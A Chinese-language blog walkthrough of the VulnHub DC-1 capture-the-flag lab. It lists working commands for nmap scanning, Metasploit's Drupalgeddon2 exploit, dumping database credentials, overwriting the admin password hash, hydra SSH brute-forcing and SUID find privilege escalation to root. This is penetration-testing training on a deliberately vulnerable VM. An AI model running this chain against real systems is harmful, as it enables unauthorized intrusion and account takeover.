vulnhub-DC1靶机练习


靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。
VMware界面→文件→打开→选择下载好的DC1.ova文件→等待导入完成,网络改桥接模式,然后启动该虚拟机就可以了
探测目标
1、使用arp-scan工具
探测同一区域存活主机
arp-scan -l
-l 使用网络接口

2、使用nmap工具查看目标开放端口
nmap -sV -p- 192.168.1.103
-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

3、查看网页相关信息
通过浏览器插件可以看到wappalyzer,可以该网站使用CMS为drupal

4、漏洞查找
使用Metasploit搜索Drupal
msfdb init && msfconsole
search Drupal

5、漏洞利用
优先选择上面查到模块的Rank为excellent并且时间较新的模块,这里我使用第4个
use exploit/unix/webapp/drupal_drupalgeddon2
show options

set RHOSTS 192.168.1.103
exploit 或者 run
当出现“Meterpreter session 1 opened”说明利用成功

6、Getshell
获取普通shell
meterpreter >shell
ls

发现有个flag1.txt,看一下

翻译:每一个好的CMS都需要一个配置文件,你也一样。
百度查到Drupal的默认配置文件为 /var/www/sites/default/settings.php
cat /var/www/sites/default/settings.php
配置文件中看到了flag2

获取交互式shell

使用python反弹一个交互式shell,然后我们登陆数据库
python -c ‘import pty; pty.spawn(“/bin/bash”)’
mysql -udbuser -p
Enter password:R0ck3t

mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;

可以看到admin用户的密码被加密了的,但可以想办法修改密码或新增一个admin权限的用户

7、修改admin用户的密码
使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户
加密脚本位置在/var/www/scripts/password-hash.sh下
php scripts/password-hash.sh jwt #生成新密码jwt

mysql> update drupaldb.users set pass=”$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX” where name=”admin”;



输入用户名/密码尝试登录

成功登录

在后台左上角的Find content中发现flag3
flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow,还提到了find、perms、-exec,这几个是提权用的。
来查看下/etc/passwd和/etc/shadow 的内容
/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等
etc/shadow是/etc/passwd的影子文件,存有密码信息

发现有个叫flag4的账号,但是查看使用/etc/shadow失败,但是前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.1.103 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.103
#ip变成192.168.0.100,是应为我重启了,靶机ip变了
-l 指定破解的用户
-P 指定密码字典
ssh://ip 指定使用协议和ip地址

得到用户名flag4、密码orange使用kali远程连接

damn!被戏耍了

flag4提示flag在root目录下,在/root下发现thefinalflag.txt,但是没有读取的权限

8、提升权限
根据flag3和flag4都提到了find,所以下面我们利用find文件提权
SUID可以让调用者以文件拥有者的身份运行该文件,所以利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么运行该文件的时候就得获得root用户的身份了。
查找具有root权限的SUID的文件
find / -perm -u=s -type f 2>/dev/null

可以看到find命令具有SUID权限,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
touch jwt
查找根目录下名为jwt的文件并执行shell
find / -name jwt -exec “/bin/sh” ;
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠。

cd /root
ls
cat thefinalflag.txt



涉及知识面
kali之arp-scan
https://blog.csdn.net/weixin_43221560/article/details/90550294
MSF使用
http://sh1yan.top/2019/07/28/MSF-Command-Notes/
hydra爆破
https://blog.csdn.net/huweiliyi/article/details/105523823
Linux提权-SUID提权
https://www.jianshu.com/go-wild?ac=2&url=https%3A%2F%2Fblog.csdn.net%2Fqq_36119192%2Farticle%2Fdetails%2F84872644
Linux下用SUID提权
https://www.jianshu.com/go-wild?ac=2&url=https%3A%2F%2Fblog.csdn.net%2Fqq_40510246%2Farticle%2Fdetails%2F95939784%3Futm_medium%3Ddistribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase%26depth_1-utm_source%3Ddistribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase
find命令之exec
https://www.cnblogs.com/huchong/p/9961625.html


文章作者: Luoruiy
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Luoruiy !
赏
  目录